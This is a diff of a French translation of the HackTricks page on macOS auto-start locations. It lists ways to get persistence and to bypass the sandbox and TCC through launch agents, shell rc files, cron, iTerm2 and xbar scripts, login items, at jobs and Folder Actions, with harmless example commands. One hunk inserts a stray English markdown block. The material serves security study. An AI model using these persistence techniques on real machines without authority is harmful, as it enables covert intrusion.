* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -19,7 +19,7 @@ Cette section est fortement basée sur la série de blogs [**Au-delà des bons v
|
||||||
## Contournement de la sandbox
|
## Contournement de la sandbox
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de la sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très courante**, un **laps de temps déterminé** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de permissions root.
|
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de la sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très courante**, un **certain laps de temps** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de permissions root.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Launchd
|
### Launchd
|
||||||
|
@ -31,16 +31,16 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour
|
||||||
|
|
||||||
* **`/Library/LaunchAgents`**
|
* **`/Library/LaunchAgents`**
|
||||||
* **Déclencheur** : Redémarrage
|
* **Déclencheur** : Redémarrage
|
||||||
* Nécessite les droits root
|
* Nécessite les droits d'administrateur
|
||||||
* **`/Library/LaunchDaemons`**
|
* **`/Library/LaunchDaemons`**
|
||||||
* **Déclencheur** : Redémarrage
|
* **Déclencheur** : Redémarrage
|
||||||
* Nécessite les droits root
|
* Nécessite les droits d'administrateur
|
||||||
* **`/System/Library/LaunchAgents`**
|
* **`/System/Library/LaunchAgents`**
|
||||||
* **Déclencheur** : Redémarrage
|
* **Déclencheur** : Redémarrage
|
||||||
* Nécessite les droits root
|
* Nécessite les droits d'administrateur
|
||||||
* **`/System/Library/LaunchDaemons`**
|
* **`/System/Library/LaunchDaemons`**
|
||||||
* **Déclencheur** : Redémarrage
|
* **Déclencheur** : Redémarrage
|
||||||
* Nécessite les droits root
|
* Nécessite les droits d'administrateur
|
||||||
* **`~/Library/LaunchAgents`**
|
* **`~/Library/LaunchAgents`**
|
||||||
* **Déclencheur** : Connexion
|
* **Déclencheur** : Connexion
|
||||||
* **`~/Library/LaunchDemons`**
|
* **`~/Library/LaunchDemons`**
|
||||||
|
@ -83,7 +83,7 @@ Lorsqu'un utilisateur se connecte, les plists situés dans `/Users/$USER/Library
|
||||||
Il existe des cas où un **agent doit être exécuté avant la connexion de l'utilisateur**, ceux-ci sont appelés **PreLoginAgents**. Par exemple, cela est utile pour fournir une technologie d'assistance lors de la connexion. Ils peuvent également être trouvés dans `/Library/LaunchAgents` (voir [**ici**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un exemple).
|
Il existe des cas où un **agent doit être exécuté avant la connexion de l'utilisateur**, ceux-ci sont appelés **PreLoginAgents**. Par exemple, cela est utile pour fournir une technologie d'assistance lors de la connexion. Ils peuvent également être trouvés dans `/Library/LaunchAgents` (voir [**ici**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un exemple).
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Les nouveaux fichiers de configuration des Daemons ou Agents seront **chargés après le prochain redémarrage ou en utilisant** `launchctl load <target.plist>` Il est **également possible de charger des fichiers .plist sans cette extension** avec `launchctl -F <file>` (cependant, ces fichiers plist ne seront pas automatiquement chargés après le redémarrage).\
|
Les nouveaux fichiers de configuration de Daemons ou Agents seront **chargés après le prochain redémarrage ou en utilisant** `launchctl load <target.plist>` Il est **également possible de charger des fichiers .plist sans cette extension** avec `launchctl -F <file>` (cependant, ces fichiers plist ne seront pas automatiquement chargés après le redémarrage).\
|
||||||
Il est également possible de **décharger** avec `launchctl unload <target.plist>` (le processus pointé par celui-ci sera terminé),
|
Il est également possible de **décharger** avec `launchctl unload <target.plist>` (le processus pointé par celui-ci sera terminé),
|
||||||
|
|
||||||
Pour **s'assurer** qu'il n'y a **rien** (comme un remplacement) **empêchant un** **Agent** ou **Daemon** **de** **s'exécuter**, exécutez : `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
Pour **s'assurer** qu'il n'y a **rien** (comme un remplacement) **empêchant un** **Agent** ou **Daemon** **de** **s'exécuter**, exécutez : `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||||
|
@ -103,8 +103,8 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.
|
||||||
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||||
|
|
||||||
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
||||||
* Contournement TCC : [✅](https://emojipedia.org/check-mark-button)
|
* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button)
|
||||||
* Mais vous devez trouver une application avec un contournement TCC qui exécute un shell qui charge ces fichiers
|
* Mais vous devez trouver une application avec un contournement de TCC qui exécute un shell qui charge ces fichiers
|
||||||
|
|
||||||
#### Emplacements
|
#### Emplacements
|
||||||
|
|
||||||
|
@ -135,7 +135,7 @@ La page de manuel de zsh, que nous pouvons lire avec **`man zsh`**, contient une
|
||||||
# Example executino via ~/.zshrc
|
# Example executino via ~/.zshrc
|
||||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||||
```
|
```
|
||||||
### Applications Réouvertes
|
### Applications réouvertes
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Configurer l'exploitation indiquée et se déconnecter et se reconnecter ou même redémarrer n'a pas fonctionné pour moi pour exécuter l'application. (L'application n'était pas exécutée, peut-être qu'elle doit être en cours d'exécution lorsque ces actions sont effectuées)
|
Configurer l'exploitation indiquée et se déconnecter et se reconnecter ou même redémarrer n'a pas fonctionné pour moi pour exécuter l'application. (L'application n'était pas exécutée, peut-être qu'elle doit être en cours d'exécution lorsque ces actions sont effectuées)
|
||||||
|
@ -238,7 +238,7 @@ Vous pouvez ajouter ceci depuis la ligne de commande avec:
|
||||||
|
|
||||||
#### Description & Exploitation
|
#### Description & Exploitation
|
||||||
|
|
||||||
Si vous créez un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'application **Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux.
|
Si vous créez un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'**application Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux.
|
||||||
|
|
||||||
Essayez avec:
|
Essayez avec:
|
||||||
```bash
|
```bash
|
||||||
|
@ -271,7 +271,7 @@ open /tmp/test.terminal
|
||||||
Vous pouvez également utiliser les extensions **`.command`**, **`.tool`**, avec du contenu de scripts shell réguliers et ils seront également ouverts par Terminal.
|
Vous pouvez également utiliser les extensions **`.command`**, **`.tool`**, avec du contenu de scripts shell réguliers et ils seront également ouverts par Terminal.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Si le terminal a **Accès complet au disque**, il pourra effectuer cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal).
|
Si le terminal a **un accès complet au disque**, il pourra effectuer cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Plugins Audio
|
### Plugins Audio
|
||||||
|
@ -279,7 +279,7 @@ Si le terminal a **Accès complet au disque**, il pourra effectuer cette action
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
||||||
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
|
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
|
||||||
|
|
||||||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
||||||
* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle)
|
* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle)
|
||||||
* Vous pourriez obtenir un accès TCC supplémentaire
|
* Vous pourriez obtenir un accès TCC supplémentaire
|
||||||
|
|
||||||
|
@ -305,7 +305,7 @@ Selon les writeups précédents, il est possible de **compiler certains plugins
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||||
|
|
||||||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
||||||
* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle)
|
* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle)
|
||||||
* Vous pourriez obtenir un accès TCC supplémentaire
|
* Vous pourriez obtenir un accès TCC supplémentaire
|
||||||
|
|
||||||
|
@ -331,7 +331,7 @@ Cela n'a pas fonctionné pour moi, ni avec le LoginHook utilisateur ni avec le L
|
||||||
|
|
||||||
**Writeup** : [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
**Writeup** : [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||||
|
|
||||||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
||||||
* Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle)
|
* Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle)
|
||||||
|
|
||||||
#### Emplacement
|
#### Emplacement
|
||||||
|
@ -371,15 +371,15 @@ Le fichier de l'utilisateur root est stocké dans **`/private/var/root/Library/P
|
||||||
## Contournement conditionnel du bac à sable
|
## Contournement conditionnel du bac à sable
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet d'exécuter simplement quelque chose en l'écrivant dans un fichier et en **attendant des conditions non super communes** comme des **programmes spécifiques installés, des actions ou environnements "non communs"**.
|
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet d'exécuter simplement quelque chose en **l'écrivant dans un fichier** et **en ne s'attendant pas à des conditions super communes** comme des **programmes spécifiques installés, des actions d'utilisateur "non courantes"** ou des environnements.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Cron
|
### Cron
|
||||||
|
|
||||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||||
|
|
||||||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
||||||
* Cependant, vous devez pouvoir exécuter le binaire `crontab`
|
* Cependant, vous devez être capable d'exécuter le binaire `crontab`
|
||||||
* Ou être root
|
* Ou être root
|
||||||
* Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle)
|
* Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle)
|
||||||
|
|
||||||
|
@ -389,15 +389,15 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour
|
||||||
* Accès en écriture directe nécessite les droits root. Pas besoin de droits root si vous pouvez exécuter `crontab <fichier>`
|
* Accès en écriture directe nécessite les droits root. Pas besoin de droits root si vous pouvez exécuter `crontab <fichier>`
|
||||||
* **Déclencheur** : Dépend de la tâche cron
|
* **Déclencheur** : Dépend de la tâche cron
|
||||||
|
|
||||||
#### Description & Exploitation
|
#### Description et exploitation
|
||||||
|
|
||||||
Listez les tâches cron de l'**utilisateur actuel** avec :
|
Listez les tâches cron de l'**utilisateur actuel** avec :
|
||||||
```bash
|
```bash
|
||||||
crontab -l
|
crontab -l
|
||||||
```
|
```
|
||||||
Vous pouvez également voir toutes les tâches cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite les droits root).
|
Vous pouvez également voir tous les travaux cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite les droits root).
|
||||||
|
|
||||||
Dans MacOS, plusieurs dossiers exécutant des scripts à **certaines fréquences** peuvent être trouvés dans :
|
Dans MacOS, plusieurs dossiers exécutant des scripts à **certaine fréquence** peuvent être trouvés dans :
|
||||||
```bash
|
```bash
|
||||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||||
|
@ -413,22 +413,22 @@ crontab /tmp/cron
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
||||||
|
|
||||||
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
||||||
* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button)
|
* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||||
* iTerm2 utilisé pour avoir accordé des autorisations TCC
|
* iTerm2 utilisé pour accorder des autorisations TCC
|
||||||
|
|
||||||
#### Emplacements
|
#### Emplacements
|
||||||
|
|
||||||
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
|
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
|
||||||
* **Déclencheur** : Ouvrir iTerm
|
* **Déclencheur**: Ouvrir iTerm
|
||||||
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
|
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
|
||||||
* **Déclencheur** : Ouvrir iTerm
|
* **Déclencheur**: Ouvrir iTerm
|
||||||
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
||||||
* **Déclencheur** : Ouvrir iTerm
|
* **Déclencheur**: Ouvrir iTerm
|
||||||
|
|
||||||
#### Description & Exploitation
|
#### Description & Exploitation
|
||||||
|
|
||||||
Les scripts stockés dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exécutés. Par exemple :
|
Les scripts stockés dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exécutés. Par exemple:
|
||||||
```bash
|
```bash
|
||||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
|
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
@ -437,23 +437,25 @@ EOF
|
||||||
|
|
||||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||||
```
|
```
|
||||||
# macOS Auto Start Locations
|
```markdown
|
||||||
|
## macOS Auto Start Locations
|
||||||
|
|
||||||
## Launch Agents
|
### Launch Agents
|
||||||
|
|
||||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||||
|
|
||||||
## Launch Daemons
|
### Launch Daemons
|
||||||
|
|
||||||
Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/`.
|
Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
|
||||||
|
|
||||||
## Login Items
|
### Login Items
|
||||||
|
|
||||||
Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.
|
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||||
|
|
||||||
## Startup Items
|
### Startup Items
|
||||||
|
|
||||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||||
|
```
|
||||||
```bash
|
```bash
|
||||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
@ -474,11 +476,11 @@ Le script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** ser
|
||||||
```bash
|
```bash
|
||||||
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
||||||
```
|
```
|
||||||
Le fichier de préférences iTerm2 situé dans **`~/Library/Preferences/com.googlecode.iterm2.plist`** peut **indiquer une commande à exécuter** lorsque le terminal iTerm2 est ouvert.
|
Les préférences d'iTerm2 situées dans **`~/Library/Preferences/com.googlecode.iterm2.plist`** peuvent **indiquer une commande à exécuter** lorsque le terminal iTerm2 est ouvert.
|
||||||
|
|
||||||
Ce paramètre peut être configuré dans les paramètres d'iTerm2 :
|
Ce paramètre peut être configuré dans les paramètres d'iTerm2 :
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Et la commande est reflétée dans les préférences :
|
Et la commande est reflétée dans les préférences :
|
||||||
```bash
|
```bash
|
||||||
|
@ -525,7 +527,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
||||||
|
|
||||||
#### Description
|
#### Description
|
||||||
|
|
||||||
Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installé, il est possible d'écrire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exécuté lorsque xbar est lancé :
|
Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installé, il est possible d'écrire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exécuté lorsque xbar est lancé:
|
||||||
```bash
|
```bash
|
||||||
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
@ -582,7 +584,7 @@ Cet outil permet d'indiquer des applications ou des scripts à exécuter lorsque
|
||||||
|
|
||||||
* `???`
|
* `???`
|
||||||
|
|
||||||
Il permet de créer des workflows qui peuvent exécuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de créer un fichier de workflow et de le faire charger par Alfred (il est nécessaire de payer la version premium pour utiliser les workflows).
|
Il permet de créer des workflows qui peuvent exécuter du code lorsque certaines conditions sont remplies. Potentiellement, il est possible pour un attaquant de créer un fichier de workflow et de le faire charger par Alfred (il est nécessaire de payer la version premium pour utiliser des workflows).
|
||||||
|
|
||||||
### SSHRC
|
### SSHRC
|
||||||
|
|
||||||
|
@ -602,7 +604,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
|
||||||
* **Déclencheur**: Connexion via ssh
|
* **Déclencheur**: Connexion via ssh
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Pour activer ssh, un accès complet au disque est requis:
|
Pour activer ssh, l'accès complet au disque est requis:
|
||||||
```bash
|
```bash
|
||||||
sudo systemsetup -setremotelogin on
|
sudo systemsetup -setremotelogin on
|
||||||
```
|
```
|
||||||
|
@ -627,7 +629,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
|
||||||
* Charge utile d'exploitation stockée en appelant **`osascript`**
|
* Charge utile d'exploitation stockée en appelant **`osascript`**
|
||||||
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||||
* **Déclencheur :** Connexion
|
* **Déclencheur :** Connexion
|
||||||
* Nécessite des privilèges root
|
* Nécessite les droits root
|
||||||
|
|
||||||
#### Description
|
#### Description
|
||||||
|
|
||||||
|
@ -649,9 +651,9 @@ Les **éléments de connexion** peuvent également être indiqués en utilisant
|
||||||
|
|
||||||
### ZIP en tant qu'élément de connexion
|
### ZIP en tant qu'élément de connexion
|
||||||
|
|
||||||
(Vérifiez la section précédente sur les éléments de connexion, ceci est une extension)
|
(Vérifiez la section précédente sur les éléments de connexion, c'est une extension)
|
||||||
|
|
||||||
Si vous stockez un fichier **ZIP** en tant qu'**élément de connexion**, l'**`Archive Utility`** l'ouvrira et si le zip était par exemple stocké dans **`~/Library`** et contenait le dossier **`LaunchAgents/file.plist`** avec une porte dérobée, ce dossier sera créé (ce n'est pas le cas par défaut) et le plist sera ajouté afin que la prochaine fois que l'utilisateur se connecte, la **porte dérobée indiquée dans le plist sera exécutée**.
|
Si vous stockez un fichier **ZIP** en tant qu'**élément de connexion**, l'**`Archive Utility`** l'ouvrira et si le zip était par exemple stocké dans **`~/Library`** et contenait le dossier **`LaunchAgents/file.plist`** avec une porte dérobée, ce dossier sera créé (ce n'est pas le cas par défaut) et le plist sera ajouté afin que la prochaine fois que l'utilisateur se connectera, la **porte dérobée indiquée dans le plist sera exécutée**.
|
||||||
|
|
||||||
Une autre option serait de créer les fichiers **`.bash_profile`** et **`.zshenv`** à l'intérieur du répertoire de l'utilisateur afin que si le dossier LaunchAgents existe déjà, cette technique fonctionnerait toujours.
|
Une autre option serait de créer les fichiers **`.bash_profile`** et **`.zshenv`** à l'intérieur du répertoire de l'utilisateur afin que si le dossier LaunchAgents existe déjà, cette technique fonctionnerait toujours.
|
||||||
|
|
||||||
|
@ -685,7 +687,7 @@ sh-3.2# atq
|
||||||
26 Tue Apr 27 00:46:00 2021
|
26 Tue Apr 27 00:46:00 2021
|
||||||
22 Wed Apr 28 00:29:00 2021
|
22 Wed Apr 28 00:29:00 2021
|
||||||
```
|
```
|
||||||
Ci-dessus, nous pouvons voir deux tâches planifiées. Nous pouvons imprimer les détails de la tâche en utilisant `at -c NUMÉRODETÂCHE`.
|
Ci-dessus, nous pouvons voir deux tâches planifiées. Nous pouvons imprimer les détails de la tâche en utilisant `at -c JOBNUMBER`
|
||||||
```shell-session
|
```shell-session
|
||||||
sh-3.2# at -c 26
|
sh-3.2# at -c 26
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
|
@ -739,34 +741,34 @@ Si nous imprimons le fichier de tâche, nous constatons qu'il contient les même
|
||||||
|
|
||||||
### Actions de Dossier
|
### Actions de Dossier
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
Analyse : [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||||
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
Analyse : [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||||
|
|
||||||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
||||||
* Mais vous devez être capable d'appeler `osascript` avec des arguments pour contacter **`System Events`** afin de pouvoir configurer les Actions de Dossier
|
* Mais vous devez être capable d'appeler `osascript` avec des arguments pour contacter **`System Events`** afin de pouvoir configurer les Actions de Dossier
|
||||||
* Contournement de TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle)
|
||||||
* Il a quelques autorisations TCC de base comme Bureau, Documents et Téléchargements
|
* Il possède quelques autorisations TCC de base comme Bureau, Documents et Téléchargements
|
||||||
|
|
||||||
#### Emplacement
|
#### Emplacement
|
||||||
|
|
||||||
* **`/Library/Scripts/Folder Action Scripts`**
|
* **`/Library/Scripts/Folder Action Scripts`**
|
||||||
* Nécessite les droits d'administrateur
|
* Nécessite les droits d'administrateur
|
||||||
* **Déclencheur**: Accès au dossier spécifié
|
* **Déclencheur** : Accès au dossier spécifié
|
||||||
* **`~/Library/Scripts/Folder Action Scripts`**
|
* **`~/Library/Scripts/Folder Action Scripts`**
|
||||||
* **Déclencheur**: Accès au dossier spécifié
|
* **Déclencheur** : Accès au dossier spécifié
|
||||||
|
|
||||||
#### Description & Exploitation
|
#### Description & Exploitation
|
||||||
|
|
||||||
Les Actions de Dossier sont des scripts déclenchés automatiquement par des changements dans un dossier tels que l'ajout, la suppression d'éléments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenêtre du dossier. Ces actions peuvent être utilisées pour diverses tâches et peuvent être déclenchées de différentes manières, comme en utilisant l'interface Finder ou des commandes terminal.
|
Les Actions de Dossier sont des scripts déclenchés automatiquement par des changements dans un dossier tels que l'ajout, la suppression d'éléments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenêtre du dossier. Ces actions peuvent être utilisées pour diverses tâches et peuvent être déclenchées de différentes manières, comme en utilisant l'interface Finder ou des commandes terminal.
|
||||||
|
|
||||||
Pour configurer des Actions de Dossier, vous avez des options comme:
|
Pour configurer des Actions de Dossier, vous avez des options comme :
|
||||||
|
|
||||||
1. Créer un flux de travail d'Action de Dossier avec [Automator](https://support.apple.com/guide/automator/welcome/mac) et l'installer en tant que service.
|
1. Créer un flux de travail d'Action de Dossier avec [Automator](https://support.apple.com/guide/automator/welcome/mac) et l'installer en tant que service.
|
||||||
2. Attacher un script manuellement via la Configuration des Actions de Dossier dans le menu contextuel d'un dossier.
|
2. Attacher un script manuellement via la Configuration des Actions de Dossier dans le menu contextuel d'un dossier.
|
||||||
3. Utiliser OSAScript pour envoyer des messages d'événements Apple à l'application `System Events.app` pour configurer de manière programmatique une Action de Dossier.
|
3. Utiliser OSAScript pour envoyer des messages d'événements Apple à l'application `System Events.app` pour configurer de manière programmatique une Action de Dossier.
|
||||||
* Cette méthode est particulièrement utile pour intégrer l'action dans le système, offrant un niveau de persistance.
|
* Cette méthode est particulièrement utile pour intégrer l'action dans le système, offrant un niveau de persistance.
|
||||||
|
|
||||||
Le script suivant est un exemple de ce qui peut être exécuté par une Action de Dossier:
|
Le script suivant est un exemple de ce qui peut être exécuté par une Action de Dossier :
|
||||||
```applescript
|
```applescript
|
||||||
// source.js
|
// source.js
|
||||||
var app = Application.currentApplication();
|
var app = Application.currentApplication();
|
